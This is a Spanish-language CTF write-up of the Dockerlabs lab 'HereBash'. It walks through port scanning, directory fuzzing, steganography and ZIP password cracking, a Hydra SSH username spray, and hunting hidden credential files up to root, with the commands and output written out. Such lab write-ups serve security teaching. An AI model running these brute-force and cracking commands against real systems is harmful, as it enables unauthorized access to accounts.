> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/herebash.md).

# HereBash

TAG -> Dockerlabs | CTF

<details>

<summary>Datos</summary>

* **Máquina** -> HereBash
* **Dificultad** -> Medio
* **Creador** -> [firstatack](https://firstatack.github.io/)

</details>

Como primer paso, verificamos la conectividad con la máquina víctima mediante `ping`.

```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.132 ms
RR: 	172.17.0.1
	172.17.0.2
	172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.132/0.132/0.132/0.000 ms
```

El resultado muestra un **TTL de 64**, un valor habitual en sistemas **Linux**. Aunque no permite identificar el sistema operativo con certeza, nos sirve como primera referencia. A continuación, creamos nuestras carpetas de trabajo con `mkt` y entramos en `recognition` para realizar un escaneo inicial.

```bash
❯ PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt

[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 22 abierto!
  [!] Puerto 80 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [22, 80]
[+] Información de servicios y versiones:

  [+] 22/tcp    ssh       OpenSSH 6.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
  [+] 80/tcp    http      Apache httpd 2.4.58 ((Ubuntu))

[+] Comprobando vulnerabilidades:

  [!] SSH posiblemente vulnerable: Enumeración de usuarios 
  [+] Tecnologías detectadas en HTTP:

        http://172.17.0.2:80 [200 OK] Apache[2.4.58],
        Country[RESERVED][ZZ],
        HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)],
        IP[172.17.0.2],
        Title[Apache2 Ubuntu Default Page: It works],

[*] Evidencia guardada en recognition.txt
```

Nuestra herramienta señala que **SSH** podría ser vulnerable a la enumeración de usuarios. Sin embargo, ese resultado no confirma la vulnerabilidad ni permite asegurar que esté parcheada. Por ahora continuaremos con `nmap` para identificar los servicios y revisar posibles vulnerabilidades básicas.

```bash
❯ nmap -sCV -p 22,80 172.17.0.2 -oN targeted.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 16:40 EST
Nmap scan report for 172.17.0.2
Host is up (0.0013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:16:59:41:d2:f1:d4:cf:20:cc:ad:e0:f8:8c:ed:a2 (ECDSA)
|_  256 72:9b:5b:79:74:e8:18:d6:0b:31:2e:99:00:01:b5:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.33 seconds
```

De momento no encontramos nada especialmente relevante, así que ampliamos la enumeración con un escaneo más exhaustivo de `nmap`.

```bash
❯ nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 16:44 EST
Nmap scan report for 172.17.0.2
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-headers: 
|   Date: Sat, 12 Oct 2024 21:45:07 GMT
|   Server: Apache/2.4.58 (Ubuntu)
|   Last-Modified: Sun, 16 Jun 2024 22:12:40 GMT
|   ETag: "29ed-61b09259d8600"
|   Accept-Ranges: bytes
|   Content-Length: 10733
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   55.56 ms 172.17.0.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds
```

Seguimos sin observar nada fuera de lo común. Por eso realizamos un último escaneo con los scripts de vulnerabilidades de `nmap` sobre el puerto **80**, donde se encuentra el servidor web. Que estos scripts no detecten XSS o CSRF no garantiza que la aplicación esté libre de esas vulnerabilidades.

```bash
❯ nmap -p 80 --script vuln 172.17.0.2 -oN webScan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 16:48 EST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 172.17.0.2
Host is up (0.00043s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|_  /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.58 (ubuntu)'
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 57.23 seconds
```

El script `http-enum` descubrió el directorio `/scripts/`. Aunque inicialmente no encontramos nada útil en su contenido, es buena idea realizar **fuzzing** con mayor profundidad para localizar otros archivos y rutas web.

```bash
❯ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --threads 200 --status-codes 200,302,301,401 --no-recursion

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 302, 301, 401]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      939l     2384w    25537c http://172.17.0.2/spongebob/spongebob.html
301      GET        9l       28w      310c http://172.17.0.2/scripts => http://172.17.0.2/scripts/
200      GET       22l      105w     5952c http://172.17.0.2/icons/ubuntu-logo.png
200      GET      365l      968w    10733c http://172.17.0.2/
301      GET        9l       28w      312c http://172.17.0.2/spongebob => http://172.17.0.2/spongebob/
301      GET        9l       28w      309c http://172.17.0.2/revolt => http://172.17.0.2/revolt/
[####################] - 4m    220557/220557  0s      found:6       errors:295    
[####################] - 4m    220548/220548  1030/s  http://172.17.0.2/   
```

Encontramos varios recursos interesantes. Entre ellos, una página HTML que podría contener pistas sobre usuarios o contraseñas y, en otro directorio, una imagen que descargaremos para analizarla posteriormente mediante técnicas de esteganografía.

```bash
❯ wget http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
--2024-10-12 17:02:09--  http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
Conectando con 172.17.0.2:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 118308 (116K) [image/jpeg]
Grabando a: «ohnorecallwin.jpg»

ohnorecallwin.jpg                         100%[=====================================================================================>] 115.54K  --.-KB/s    en 0s      

2024-10-12 17:02:09 (264 MB/s) - «ohnorecallwin.jpg» guardado [118308/118308]

❯ steghide extract -sf ohnorecallwin.jpg
Anotar salvoconducto: 
steghide: no pude extraer ningn dato con ese salvoconducto!
❯ ls
 ohnorecallwin.jpg
```

El primer intento de extracción con `steghide` no tuvo éxito. Esto no demuestra por sí solo que la imagen contenga información oculta, así que probaremos con `stegseek` y un diccionario para buscar una posible contraseña de esteganografía.

```bash
❯ stegseek ohnorecallwin.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "spongebob"
[i] Original filename: "seguro.zip".
[i] Extracting to "ohnorecallwin.jpg.out".

❯ ls
 ohnorecallwin.jpg   ohnorecallwin.jpg.out
```

Una vez identificada la contraseña **spongebob**, podemos extraer el archivo oculto de la imagen. En este caso obtenemos `seguro.zip`, pero al intentar descomprimirlo comprobamos que el ZIP también está protegido con una contraseña diferente.

```bash
❯ steghide extract -sf ohnorecallwin.jpg
Anotar salvoconducto: 
anot los datos extrados e/"seguro.zip".
❯ ls
 ohnorecallwin.jpg   seguro.zip
❯ unzip seguro.zip
Archive:  seguro.zip
[seguro.zip] secreto.txt password: 
   skipping: secreto.txt             incorrect password
```

El archivo `seguro.zip` requiere otra contraseña. Para recuperarla podemos utilizar `zip2john`, que extrae un hash compatible con **John the Ripper**, y después probar un diccionario mediante `john`. En mi caso, como ya había recuperado la contraseña, utilizo `--show` para visualizarla; también dejo el comando que emplearíamos para realizar el ataque de diccionario.

```bash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
❯ cat hash
seguro.zip/secreto.txt:$pkzip$1*2*2*0*17*b*3df4da21*0*45*0*17*8387*6d1b6f2cba11e9e1ed8057c3d2d3cf6b9d9a38d8c0fa62*$/pkzip$:secreto.txt:seguro.zip::seguro.zip
❯ john --show hash
seguro.zip/secreto.txt:chocolate:secreto.txt:seguro.zip::seguro.zip

1 password hash cracked, 0 left
```

Como vemos, la contraseña del ZIP es **chocolate**. Ahora sí podemos descomprimir `seguro.zip` y revisar el contenido de `secreto.txt`.

```bash
❯ unzip seguro.zip
Archive:  seguro.zip
[seguro.zip] secreto.txt password: 
 extracting: secreto.txt             
❯ ll
.rw-r--r-- root root 158 B  Sat Oct 12 17:09:44 2024  hash
.rw-r--r-- root root 116 KB Sun Jun 16 16:47:57 2024  ohnorecallwin.jpg
.rw-r--r-- root root  11 B  Thu Jun 13 14:28:13 2024  secreto.txt
.rw-r--r-- root root 211 B  Sat Oct 12 17:07:16 2024  seguro.zip
❯ bat secreto.txt
───────┬────────────────────────────────────────────────────────────────
       │ File: secreto.txt
───────┼────────────────────────────────────────────────────────────────
   1   │ aprendemos
───────┴────────────────────────────────────────────────────────────────
```

El archivo `secreto.txt` contiene **aprendemos**, que podría ser una contraseña de acceso al sistema. Como todavía no sabemos a qué usuario pertenece, utilizaremos **Hydra** con una lista de nombres de usuario para comprobar cuál puede autenticarse por **SSH** con esa contraseña en nuestro laboratorio.

```bash
❯ hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p aprendemos ssh://172.17.0.2 -t 4 -f -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-12 18:27:33
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455 login tries (l:8295455/p:1), ~2073864 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[ATTEMPT] target 172.17.0.2 - login "info" - pass "aprendemos" - 1 of 8295455 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "admin" - pass "aprendemos" - 2 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "2000" - pass "aprendemos" - 3 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "michael" - pass "aprendemos" - 4 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "NULL" - pass "aprendemos" - 5 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "john" - pass "aprendemos" - 6 of 8295455 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "david" - pass "aprendemos" - 7 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "robert" - pass "aprendemos" - 8 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "chris" - pass "aprendemos" - 9 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "mike" - pass "aprendemos" - 10 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "dave" - pass "aprendemos" - 11 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "richard" - pass "aprendemos" - 12 of 8295455 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "123456" - pass "aprendemos" - 13 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "thomas" - pass "aprendemos" - 14 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "steve" - pass "aprendemos" - 15 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "mark" - pass "aprendemos" - 16 of 8295455 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "andrew" - pass "aprendemos" - 17 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "daniel" - pass "aprendemos" - 18 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "george" - pass "aprendemos" - 19 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "paul" - pass "aprendemos" - 20 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "rosa" - pass "aprendemos" - 21 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "charlie" - pass "aprendemos" - 22 of 8295455 [child 0] (0/0)
[22][ssh] host: 172.17.0.2   login: rosa   password: aprendemos
[STATUS] attack finished for 172.17.0.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-12 18:27:49
```

Utilizamos la **wordlist** de usuarios de Xato. Dependiendo de la posición del nombre correcto, esta búsqueda podría llevar bastante tiempo; en nuestro resultado, **rosa** aparece pronto y Hydra confirma que su contraseña es **aprendemos**. Con esas credenciales iniciamos sesión mediante **SSH** y ajustamos la **TTY** para trabajar con mayor comodidad.

```bash
❯ ssh rosa@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:EyLqCyl988mYr3jbx8clCLi6XDpopxXvN9M3h92Wd/0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
rosa@172.17.0.2's password: 
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.9.7-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Jun 21 02:05:23 2024 from 172.17.0.1
rosa@1ae02cb45cf7:~$ stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc
rosa@1ae02cb45cf7:~$ 
```

Al listar el contenido del directorio **home** de **rosa**, encontramos un directorio con un nombre bastante peculiar: `-`. Vamos a examinarlo.

```bash
rosa@1ae02cb45cf7:~$ ls -la
total 12
drwxrwxr-x 1 rosa rosa 1748 Jun 17 08:25 -
drwxr-x--- 1 rosa rosa   80 Jun 21 02:05 .
drwxr-xr-x 1 root root   38 Jun 17 08:22 ..
-rw-r--r-- 1 rosa rosa  220 Jun 17 08:21 .bash_logout
-rw-r--r-- 1 rosa rosa 3771 Jun 17 08:21 .bashrc
drwx------ 1 rosa rosa   40 Jun 21 02:05 .cache
drwxrwxr-x 1 rosa rosa   10 Jun 17 08:25 .local
-rw-r--r-- 1 rosa rosa  807 Jun 17 08:21 .profile
```

Dentro encontramos muchas carpetas llamadas `buscaelpass`, además del script `creararch.sh`. Al revisar su contenido, vemos que genera numerosos archivos con textos repetidos, lo que nos da una pista sobre dónde podría encontrarse la siguiente contraseña.

```bash
rosa@1ae02cb45cf7:~$ cd ./-
rosa@1ae02cb45cf7:~/-$ ls
buscaelpass1   buscaelpass16  buscaelpass22  buscaelpass29  buscaelpass35  buscaelpass41  buscaelpass48  buscaelpass54  buscaelpass60  buscaelpass67
buscaelpass10  buscaelpass17  buscaelpass23  buscaelpass3   buscaelpass36  buscaelpass42  buscaelpass49  buscaelpass55  buscaelpass61  buscaelpass7
buscaelpass11  buscaelpass18  buscaelpass24  buscaelpass30  buscaelpass37  buscaelpass43  buscaelpass5   buscaelpass56  buscaelpass62  buscaelpass8
buscaelpass12  buscaelpass19  buscaelpass25  buscaelpass31  buscaelpass38  buscaelpass44  buscaelpass50  buscaelpass57  buscaelpass63  buscaelpass9
buscaelpass13  buscaelpass2   buscaelpass26  buscaelpass32  buscaelpass39  buscaelpass45  buscaelpass51  buscaelpass58  buscaelpass64  creararch.sh
buscaelpass14  buscaelpass20  buscaelpass27  buscaelpass33  buscaelpass4   buscaelpass46  buscaelpass52  buscaelpass59  buscaelpass65
buscaelpass15  buscaelpass21  buscaelpass28  buscaelpass34  buscaelpass40  buscaelpass47  buscaelpass53  buscaelpass6   buscaelpass66
rosa@1ae02cb45cf7:~/-$ cat creararch.sh
#!/bin/bash

# Buscamos directorios que empiezan con "busca"
for directorio in busca*; do
	# Comprobamos si el directorio existe
	if [ -d "$directorio" ]; then
		# Crearmos 50 archivos y les metemos el contenido xx
		for i in {1..50}; do
			touch "$directorio/archivo$i" && echo "xxxxxx:xxxxxx" >$directorio/archivo$i
		done
		echo "Se crearon 50 archivos en $directorio"
	else
		echo "El directorio $directorio no existe"
	fi
done
rosa@1ae02cb45cf7:~/-$ 
```

Con esta información sospechamos que existe una contraseña escondida entre todos esos archivos. En lugar de abrirlos uno por uno, utilizaremos `find` junto con `cat` y `grep` para revisar su contenido y filtrar las líneas repetidas.

```bash
rosa@1ae02cb45cf7:~/-$ find . -type f -exec cat {} \; | grep -v x$
pedro:ell0c0
#!/bin/bash

# Buscamos directorios que empiezan con "busca"
for directorio in busca*; do
	# Comprobamos si el directorio existe
	if [ -d "$directorio" ]; then
		for i in {1..50}; do
			touch "$directorio/archivo$i" && echo "xxxxxx:xxxxxx" >$directorio/archivo$i
		done
		echo "Se crearon 50 archivos en $directorio"
	else
		echo "El directorio $directorio no existe"
	fi
done
```

<mark style="color:green;">**Lo que hicimos fue:**</mark>

* Ejecutamos `find` indicando que la búsqueda comience en el directorio actual, representado por el punto (`.`).
* Con `-type f` limitamos la búsqueda a archivos regulares; es decir, excluimos directorios y enlaces simbólicos.
* La opción `-exec` le indica a `find` que ejecute un comando sobre cada archivo que cumpla los criterios de búsqueda.
* En este caso ejecutamos `cat`. Los caracteres `{}` representan la ruta de cada archivo encontrado por `find`, mientras que `\;` marca el final del comando que ejecutará `-exec`.
* Por último, utilizamos la tubería (`|`) para enviar los resultados a `grep`. La expresión regular del comando selecciona las líneas que terminan en la letra `x`; con la opción `-v`, invertimos la selección para mostrar las líneas que **no terminan en esa letra**. Así filtramos el contenido repetido y encontramos las credenciales.

Gracias a este filtro encontramos las credenciales de **pedro** (`pedro:ell0c0`). Con ellas podemos utilizar `su pedro` para cambiar de usuario y continuar la enumeración desde su cuenta.

```bash
rosa@1ae02cb45cf7:~/-$ su pedro
Password: 
pedro@1ae02cb45cf7:/home/rosa/-$ cd
pedro@1ae02cb45cf7:~$ ls
pedro@1ae02cb45cf7:~$ ls -la
total 16
drwxr-x--- 1 pedro pedro  110 Oct 13 10:14 .
drwxr-xr-x 1 root  root    38 Jun 17 08:22 ..
drwxrwxr-x 1 pedro pedro   20 Jun 17 08:34 ...
-rw------- 1 pedro pedro    8 Oct 13 10:14 .bash_history
-rw-r--r-- 1 pedro pedro  220 Jun 17 08:22 .bash_logout
-rw-r--r-- 1 pedro pedro 3771 Jun 17 08:22 .bashrc
drwx------ 1 pedro pedro   40 Jun 18 03:31 .cache
drwxrwxr-x 1 pedro pedro   10 Jun 17 08:33 .local
-rw-r--r-- 1 pedro pedro  807 Jun 17 08:22 .profile
pedro@1ae02cb45cf7:~$
```

En el directorio **home** de **pedro** también encontramos algo llamativo: una carpeta cuyo nombre es `...` (tres puntos). Entramos en ella para ver qué contiene.

```bash
pedro@1ae02cb45cf7:~$ cd .../
pedro@1ae02cb45cf7:~/...$ ls
pedro@1ae02cb45cf7:~/...$ ls -la
total 4
drwxrwxr-x 1 pedro pedro  20 Jun 17 08:34 .
drwxr-x--- 1 pedro pedro 110 Oct 13 10:14 ..
-rw-rw-r-- 1 pedro pedro  91 Jun 17 08:34 .misecreto
pedro@1ae02cb45cf7:~/...$ cat .misecreto
Consegui el pass de juan y lo tengo escondido en algun lugar del sistema fuera de mi home.
pedro@1ae02cb45cf7:~/...$ 
```

En esta carpeta encontramos el archivo oculto `.misecreto`, cuya nota indica que la contraseña de **juan** está escondida en algún lugar del sistema, fuera del **home** de pedro. Como pista, suponemos que el archivo podría contener `juan` en su nombre. Volvemos a utilizar `find`, esta vez desde `/`, para comprobarlo.

```bash
pedro@1ae02cb45cf7:~$ cd /
pedro@1ae02cb45cf7:/$ find / -name "*juan*" -type f 2> /dev/null
/usr/share/zoneinfo/America/Tijuana
/var/mail/.pass_juan
pedro@1ae02cb45cf7:/$ cat /var/mail/.pass_juan
ZWxwcmVzaW9uZXMK
pedro@1ae02cb45cf7:/$
```

Acertamos: encontramos `/var/mail/.pass_juan`, que contiene la cadena `ZWxwcmVzaW9uZXMK`. Su formato parece **Base64**, pero en este laboratorio la contraseña que utilizamos con `su juan` es la cadena codificada **tal como aparece en el archivo**, sin decodificarla.

```bash
pedro@1ae02cb45cf7:/$ su juan
Password: 
juan@1ae02cb45cf7:/$ cd
juan@1ae02cb45cf7:~$ ls
juan@1ae02cb45cf7:~$ ls -la
total 16
drwxr-x--- 1 juan juan   96 Jun 17 09:02 .
drwxr-xr-x 1 root root   38 Jun 17 08:22 ..
-rw-r--r-- 1 juan juan  220 Jun 17 08:22 .bash_logout
-rw-r--r-- 1 juan juan 3791 Jun 17 08:42 .bashrc
drwxrwxr-x 1 juan juan   10 Jun 17 08:41 .local
-rw-rw-r-- 1 juan juan  112 Jun 17 08:45 .ordenes_nuevas
-rw-r--r-- 1 juan juan  807 Jun 17 08:22 .profile
juan@1ae02cb45cf7:~$ cat .ordenes_nuevas
Hola soy tu patron y me canse y me fui a casa te dejo mi pass en un lugar a mano consiguelo y acaba el trabajo.
juan@1ae02cb45cf7:~$ 
```

En el **home** de **juan** encontramos otro archivo oculto, `.ordenes_nuevas`, que contiene una nota de su «patrón», posiblemente **root**. El mensaje indica que dejó su contraseña en un lugar accesible del sistema. Después de probar varias búsquedas con `find`, descubro que la pista está en los **alias** configurados para juan: al ejecutar `alias`, aparece `pass='eljefe'`, que resulta ser la contraseña para acceder como **root**.

> **Nota**
>
> **Alias:** En Bash, permite asignar un nombre abreviado a un comando o una secuencia de comandos, facilitando su ejecución.
>
> **Ejemplo**: `alias l='ls -la'` crea el alias `l` para ejecutar `ls -la`.

```bash
juan@1ae02cb45cf7:~$ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias pass='eljefe'
juan@1ae02cb45cf7:~$ su root
Password: 
root@1ae02cb45cf7:/home/juan# cd
root@1ae02cb45cf7:~# whoami
root
root@1ae02cb45cf7:~#
```

Con las credenciales obtenidas mediante el alias, ejecutamos `su root` y confirmamos con `whoami` que tenemos privilegios de **root**. Con esto damos por terminado el laboratorio **HereBash**.
